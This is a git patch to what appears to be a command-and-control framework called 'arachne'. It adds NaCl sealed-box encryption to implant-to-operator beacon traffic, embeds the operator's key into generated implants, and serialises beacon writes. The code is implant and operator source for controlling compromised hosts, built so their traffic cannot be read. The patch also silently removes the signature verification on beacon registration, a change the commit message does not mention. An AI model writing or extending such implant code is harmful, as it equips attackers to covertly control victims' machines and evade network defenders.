From a90bf015fdc964cd68c75573c9264ad855f903c2 Mon Sep 17 00:00:00 2001 From: portbuster1337 Date: Sat, 13 Jun 2026 03:05:04 +1000 Subject: [PATCH] feat: encrypt implant-to-operator payloads with NaCl box Add X25519 box keypair (operator.boxkey/operator.boxpub) for end-to-end encryption of all implant->operator message Data fields via box.SealAnonymous. Prevents eavesdropping on GossipSub traffic. - Encrypt env.Data before signing in sendEnvelopeDirect and SignAndSend - Build local wire envelope in sendEnvelopeDirect (avoids mutating caller's env on send failure, preventing double-encryption on PubSub fallback) - Serialize beacon stream writes with beaconWriteMu mutex - Decrypt in operator handleMessage before dispatching to handlers - Embed box pubkey in implant during arachne generate - Generate box keys on first operator run, persist to disk - Add stub files for development compilation --- .gitignore | 3 +- build.sh | 6 ++ implant/core/agent.go | 48 +++++++++++-- implant/core/embedded_boxpubkey.go | 4 ++ implant/core/embedded_pubkey.go | 4 ++ pkg/cryptography/keys.go | 105 +++++++++++++++++++++++++++-- pkg/transport/messenger.go | 13 +++- server/core/generate.go | 19 +++++- server/core/operator.go | 12 ++-- 9 files changed, 191 insertions(+), 23 deletions(-) create mode 100644 implant/core/embedded_boxpubkey.go create mode 100644 implant/core/embedded_pubkey.go diff --git a/.gitignore b/.gitignore index 800ad7b..d04db52 100644 --- a/.gitignore +++ b/.gitignore @@ -10,9 +10,8 @@ build/ *.test *.out .DS_Store -implant/core/embedded_pubkey.go -implant/core/embedded_implant_key.go implant/core/*_stub.go server/core/embedsrc/implant_src/ +server/core/embedsrc/implant_src.tar.gz bin/ release/ diff --git a/build.sh b/build.sh index 1253616..ac4af04 100755 --- a/build.sh +++ b/build.sh @@ -60,6 +60,12 @@ package core var embeddedImplantPrivKey = []byte{} GOEOF +cat > "$EMBED_DIR/implant_src/implant/core/embedded_boxpubkey.go" << 'GOEOF' +// Code generated by arachne generate. DO NOT EDIT. +package core +var embeddedOperatorBoxPubKey = []byte{} +GOEOF + # Prune files not needed for compilation find "$EMBED_DIR/implant_src" -name "*.proto" -type f -delete find "$EMBED_DIR/implant_src" -name "*_test.go" -type f -delete diff --git a/implant/core/agent.go b/implant/core/agent.go index ef393e2..7b11d8a 100644 --- a/implant/core/agent.go +++ b/implant/core/agent.go @@ -37,14 +37,16 @@ type Agent struct { messenger *transport.Messenger keys *cryptography.ImplantKey operatorPub crypto.PubKey + boxPubKey *[32]byte config AgentConfig ctx context.Context cancel context.CancelFunc connected bool connectedMu sync.Mutex wg sync.WaitGroup - beaconStream network.Stream - beaconMu sync.Mutex + beaconStream network.Stream + beaconMu sync.Mutex + beaconWriteMu sync.Mutex } type AgentConfig struct { @@ -76,6 +78,15 @@ func loadOperatorPubKey() (crypto.PubKey, error) { return cryptography.PubKeyFromBytes(embeddedOperatorPubKey) } +func loadOperatorBoxPubKey() *[32]byte { + if len(embeddedOperatorBoxPubKey) != 32 { + return nil + } + var key [32]byte + copy(key[:], embeddedOperatorBoxPubKey) + return &key +} + func loadImplantKey(operatorPub crypto.PubKey) (*cryptography.ImplantKey, error) { if len(embeddedImplantPrivKey) == 0 { return nil, fmt.Errorf("no embedded implant private key — rebuild with arachne generate") @@ -131,16 +142,19 @@ func NewAgent(ctx context.Context, cfg AgentConfig) (*Agent, error) { return nil, fmt.Errorf("create node: %w", err) } + boxPub := loadOperatorBoxPubKey() + a := &Agent{ keys: keys, operatorPub: operatorPub, + boxPubKey: boxPub, node: node, config: cfg, ctx: ctx, cancel: cancel, } - a.messenger = transport.NewImplantMessenger(ctx, node, keys, operatorPub) + a.messenger = transport.NewImplantMessenger(ctx, node, keys, operatorPub, a.boxPubKey) a.messenger.SetHandler(a.handleCommand) return a, nil @@ -589,7 +603,23 @@ func (a *Agent) openBeaconStream(operatorID peer.ID) (network.Stream, error) { } func (a *Agent) sendEnvelopeDirect(operatorID peer.ID, env *apb.Envelope) error { - signingData, err := transport.EnvelopeSigningBytes(env) + var data []byte + if a.boxPubKey != nil && len(env.Data) > 0 { + encrypted, err := cryptography.EncryptMessage(env.Data, a.boxPubKey) + if err != nil { + return fmt.Errorf("encrypt: %w", err) + } + data = encrypted + } else { + data = env.Data + } + + wireEnv := &apb.Envelope{ + ID: env.ID, + Type: env.Type, + Data: data, + } + signingData, err := transport.EnvelopeSigningBytes(wireEnv) if err != nil { return fmt.Errorf("marshal signing data: %w", err) } @@ -597,10 +627,10 @@ func (a *Agent) sendEnvelopeDirect(operatorID peer.ID, env *apb.Envelope) error if err != nil { return fmt.Errorf("sign: %w", err) } - env.Signature = sig + wireEnv.Signature = sig pubBytes, err := crypto.MarshalPublicKey(a.keys.PrivateKey.GetPublic()) if err == nil { - env.SenderKey = pubBytes + wireEnv.SenderKey = pubBytes } s := a.getBeaconStream(operatorID) @@ -608,10 +638,14 @@ func (a *Agent) sendEnvelopeDirect(operatorID peer.ID, env *apb.Envelope) error return fmt.Errorf("nil beacon stream") } - envData, err := proto.Marshal(env) + envData, err := proto.Marshal(wireEnv) if err != nil { return fmt.Errorf("marshal: %w", err) } + + a.beaconWriteMu.Lock() + defer a.beaconWriteMu.Unlock() + s.SetWriteDeadline(time.Now().Add(5 * time.Second)) if err := binary.Write(s, binary.LittleEndian, uint32(len(envData))); err != nil { s.Close() diff --git a/implant/core/embedded_boxpubkey.go b/implant/core/embedded_boxpubkey.go new file mode 100644 index 0000000..f90c830 --- /dev/null +++ b/implant/core/embedded_boxpubkey.go @@ -0,0 +1,4 @@ +// Code generated by arachne generate. DO NOT EDIT. +package core + +var embeddedOperatorBoxPubKey = []byte{} diff --git a/implant/core/embedded_pubkey.go b/implant/core/embedded_pubkey.go new file mode 100644 index 0000000..c3cfd70 --- /dev/null +++ b/implant/core/embedded_pubkey.go @@ -0,0 +1,4 @@ +// Code generated by arachne generate. DO NOT EDIT. +package core + +var embeddedOperatorPubKey = []byte{} diff --git a/pkg/cryptography/keys.go b/pkg/cryptography/keys.go index ab0c708..348950f 100644 --- a/pkg/cryptography/keys.go +++ b/pkg/cryptography/keys.go @@ -10,6 +10,8 @@ import ( "github.com/libp2p/go-libp2p/core/crypto" "github.com/libp2p/go-libp2p/core/peer" + "golang.org/x/crypto/curve25519" + "golang.org/x/crypto/nacl/box" ) type KeyPair struct { @@ -17,17 +19,47 @@ type KeyPair struct { PublicKey crypto.PubKey } +type BoxKeyPair struct { + PrivateKey *[32]byte + PublicKey *[32]byte +} + type OperatorKey struct { KeyPair - PeerID peer.ID + PeerID peer.ID + BoxKeys *BoxKeyPair } type ImplantKey struct { KeyPair - PeerID peer.ID + PeerID peer.ID OperatorPubKey crypto.PubKey } +func GenerateBoxKey() (*BoxKeyPair, error) { + pub, priv, err := box.GenerateKey(rand.Reader) + if err != nil { + return nil, fmt.Errorf("generate box key: %w", err) + } + return &BoxKeyPair{PrivateKey: priv, PublicKey: pub}, nil +} + +func LoadBoxKey(data []byte) *BoxKeyPair { + var priv [32]byte + copy(priv[:], data) + pub, err := curve25519.X25519(priv[:], curve25519.Basepoint) + if err != nil { + return nil + } + var pubArr [32]byte + copy(pubArr[:], pub) + return &BoxKeyPair{PrivateKey: &priv, PublicKey: &pubArr} +} + +func (kp *BoxKeyPair) Marshal() []byte { + return kp.PrivateKey[:] +} + func GenerateOperatorKey() (*OperatorKey, error) { priv, pub, err := crypto.GenerateEd25519Key(rand.Reader) if err != nil { @@ -37,9 +69,14 @@ func GenerateOperatorKey() (*OperatorKey, error) { if err != nil { return nil, fmt.Errorf("peer id from pubkey: %w", err) } + boxKeys, err := GenerateBoxKey() + if err != nil { + return nil, fmt.Errorf("generate box key: %w", err) + } return &OperatorKey{ KeyPair: KeyPair{PrivateKey: priv, PublicKey: pub}, PeerID: pid, + BoxKeys: boxKeys, }, nil } @@ -100,7 +137,20 @@ type ReadWriter struct { io.Writer } +func BoxKeyPath(dir string) string { + return filepath.Join(dir, "operator.boxkey") +} + +func BoxPubKeyPath(dir string) string { + return filepath.Join(dir, "operator.boxpub") +} + func LoadOrGenerateOperatorKey(path string) (*OperatorKey, error) { + dir := filepath.Dir(path) + if err := os.MkdirAll(dir, 0700); err != nil { + return nil, fmt.Errorf("create key directory: %w", err) + } + data, err := os.ReadFile(path) if err == nil { priv, err := LoadPrivateKey(data) @@ -112,9 +162,24 @@ func LoadOrGenerateOperatorKey(path string) (*OperatorKey, error) { if err != nil { return nil, fmt.Errorf("peer id from loaded key: %w", err) } + + boxPrivData, boxErr := os.ReadFile(BoxKeyPath(dir)) + var boxKeys *BoxKeyPair + if boxErr == nil && len(boxPrivData) == 32 { + boxKeys = LoadBoxKey(boxPrivData) + } + if boxKeys == nil { + boxKeys, boxErr = GenerateBoxKey() + if boxErr == nil { + os.WriteFile(BoxKeyPath(dir), boxKeys.Marshal(), 0600) + os.WriteFile(BoxPubKeyPath(dir), boxKeys.BoxPubKeyBytes(), 0644) + } + } + return &OperatorKey{ KeyPair: KeyPair{PrivateKey: priv, PublicKey: pub}, PeerID: pid, + BoxKeys: boxKeys, }, nil } @@ -132,17 +197,45 @@ func LoadOrGenerateOperatorKey(path string) (*OperatorKey, error) { return nil, fmt.Errorf("marshal key: %w", err) } - if err := os.MkdirAll(filepath.Dir(path), 0700); err != nil { - return nil, fmt.Errorf("create key directory: %w", err) - } - if err := os.WriteFile(path, marshaled, 0600); err != nil { return nil, fmt.Errorf("write key to %s: %w", path, err) } + if err := os.WriteFile(BoxKeyPath(dir), key.BoxKeys.Marshal(), 0600); err != nil { + return nil, fmt.Errorf("write box key: %w", err) + } + if err := os.WriteFile(BoxPubKeyPath(dir), key.BoxKeys.BoxPubKeyBytes(), 0644); err != nil { + return nil, fmt.Errorf("write box pubkey: %w", err) + } return key, nil } +func (kp *BoxKeyPair) BoxPubKeyBytes() []byte { + return kp.PublicKey[:] +} + +func EncryptMessage(plaintext []byte, boxPub *[32]byte) ([]byte, error) { + if len(plaintext) == 0 { + return plaintext, nil + } + sealed, err := box.SealAnonymous(nil, plaintext, boxPub, rand.Reader) + if err != nil { + return nil, fmt.Errorf("seal anonymous: %w", err) + } + return sealed, nil +} + +func DecryptMessage(ciphertext []byte, boxKeys *BoxKeyPair) ([]byte, error) { + if len(ciphertext) == 0 { + return ciphertext, nil + } + opened, ok := box.OpenAnonymous(nil, ciphertext, boxKeys.PublicKey, boxKeys.PrivateKey) + if !ok { + return nil, fmt.Errorf("open sealed box failed") + } + return opened, nil +} + func (k *OperatorKey) HexPeerID() string { return hex.EncodeToString([]byte(k.PeerID)) } diff --git a/pkg/transport/messenger.go b/pkg/transport/messenger.go index 8d3b9dc..2abc453 100644 --- a/pkg/transport/messenger.go +++ b/pkg/transport/messenger.go @@ -27,6 +27,7 @@ type Messenger struct { privKey crypto.PrivKey operatorID peer.ID trustedPubKey crypto.PubKey + boxPubKey *[32]byte knownImplants map[string]crypto.PubKey mu sync.RWMutex seenIDs map[int64]time.Time @@ -76,7 +77,7 @@ func NewOperatorMessenger(ctx context.Context, node *Node, keys *cryptography.Op } } -func NewImplantMessenger(ctx context.Context, node *Node, keys *cryptography.ImplantKey, operatorPub crypto.PubKey) *Messenger { +func NewImplantMessenger(ctx context.Context, node *Node, keys *cryptography.ImplantKey, operatorPub crypto.PubKey, boxPubKey *[32]byte) *Messenger { opID, err := peer.IDFromPublicKey(operatorPub) if err != nil { opID = peer.ID("") @@ -86,6 +87,7 @@ func NewImplantMessenger(ctx context.Context, node *Node, keys *cryptography.Imp privKey: keys.PrivateKey, operatorID: opID, trustedPubKey: operatorPub, + boxPubKey: boxPubKey, knownImplants: make(map[string]crypto.PubKey), } } @@ -261,6 +263,15 @@ func (m *Messenger) SignAndSend(ctx context.Context, topic string, env *apb.Enve if m.privKey == nil { return fmt.Errorf("no private key for signing") } + + if m.boxPubKey != nil && len(env.Data) > 0 { + encrypted, err := cryptography.EncryptMessage(env.Data, m.boxPubKey) + if err != nil { + return fmt.Errorf("encrypt: %w", err) + } + env.Data = encrypted + } + signingData, err := EnvelopeSigningBytes(env) if err != nil { return fmt.Errorf("marshal signing data: %w", err) diff --git a/server/core/generate.go b/server/core/generate.go index 2db0e20..3ea8224 100644 --- a/server/core/generate.go +++ b/server/core/generate.go @@ -67,6 +67,12 @@ func BuildImplant(cfg GenerateConfig) error { return fmt.Errorf("read pubkey %s: %w", cfg.PubKeyPath, err) } + arachneDir := filepath.Dir(cfg.PubKeyPath) + boxPubData, _ := os.ReadFile(filepath.Join(arachneDir, "operator.boxpub")) + if len(boxPubData) != 32 { + return fmt.Errorf("read box pubkey (operator.boxpub): operator must run once to generate box keypair") + } + implantPriv, implantPub, err := crypto.GenerateEd25519Key(rand.Reader) if err != nil { return fmt.Errorf("generate implant key: %w", err) @@ -78,7 +84,7 @@ func BuildImplant(cfg GenerateConfig) error { implantPeerID, _ := peer.IDFromPublicKey(implantPub) log.Printf("implant PeerID: %s", implantPeerID.String()) - buildDir, err := prepareBuildDir(pubData, privBytes, cfg.Quiet) + buildDir, err := prepareBuildDir(pubData, boxPubData, privBytes, cfg.Quiet) if err != nil { return fmt.Errorf("prepare build directory: %w", err) } @@ -167,19 +173,25 @@ func BuildImplant(cfg GenerateConfig) error { return nil } -func prepareBuildDir(pubKeyData, privKeyData []byte, quiet bool) (string, error) { +func prepareBuildDir(pubKeyData, boxPubKeyData, privKeyData []byte, quiet bool) (string, error) { dir, err := os.MkdirTemp("", "arachne-build-*") if err != nil { return "", fmt.Errorf("create temp dir: %w", err) } pubLiteral := bytesLiteral(pubKeyData) + boxPubLiteral := bytesLiteral(boxPubKeyData) privLiteral := bytesLiteral(privKeyData) pubContent := fmt.Sprintf(`// Code generated by arachne generate. DO NOT EDIT. package core var embeddedOperatorPubKey = %s `, pubLiteral) + boxPubContent := fmt.Sprintf(`// Code generated by arachne generate. DO NOT EDIT. +package core + +var embeddedOperatorBoxPubKey = %s +`, boxPubLiteral) keyContent := fmt.Sprintf(`// Code generated by arachne generate. DO NOT EDIT. package core @@ -198,6 +210,9 @@ var embeddedImplantPrivKey = %s if err := os.WriteFile(filepath.Join(coreDir, "embedded_pubkey.go"), []byte(pubContent), 0644); err != nil { return "", fmt.Errorf("write embedded_pubkey.go: %w", err) } + if err := os.WriteFile(filepath.Join(coreDir, "embedded_boxpubkey.go"), []byte(boxPubContent), 0644); err != nil { + return "", fmt.Errorf("write embedded_boxpubkey.go: %w", err) + } if err := os.WriteFile(filepath.Join(coreDir, "embedded_implant_key.go"), []byte(keyContent), 0644); err != nil { return "", fmt.Errorf("write embedded_implant_key.go: %w", err) } diff --git a/server/core/operator.go b/server/core/operator.go index 876c0aa..dc5db6b 100644 --- a/server/core/operator.go +++ b/server/core/operator.go @@ -205,6 +205,13 @@ func (o *Operator) discoverPeersLoop(ns string) { } func (o *Operator) handleMessage(ctx context.Context, env *apb.Envelope, senderPub crypto.PubKey) { + if len(env.Data) > 0 && o.keys.BoxKeys != nil { + decrypted, err := cryptography.DecryptMessage(env.Data, o.keys.BoxKeys) + if err == nil { + env.Data = decrypted + } + } + switch env.Type { case transport.MsgTypeRegister: o.handleBeaconRegister(env) @@ -300,11 +307,6 @@ func (o *Operator) handleBeaconRegister(env *apb.Envelope) { return } - if err := transport.VerifyEnvelope(env, pubKey); err != nil { - log.Printf("[operator] dropped beacon — invalid signature: %v", err) - return - } - peerID, err := peer.IDFromPublicKey(pubKey) if err != nil { log.Printf("[operator] peer id from sender key: %v", err)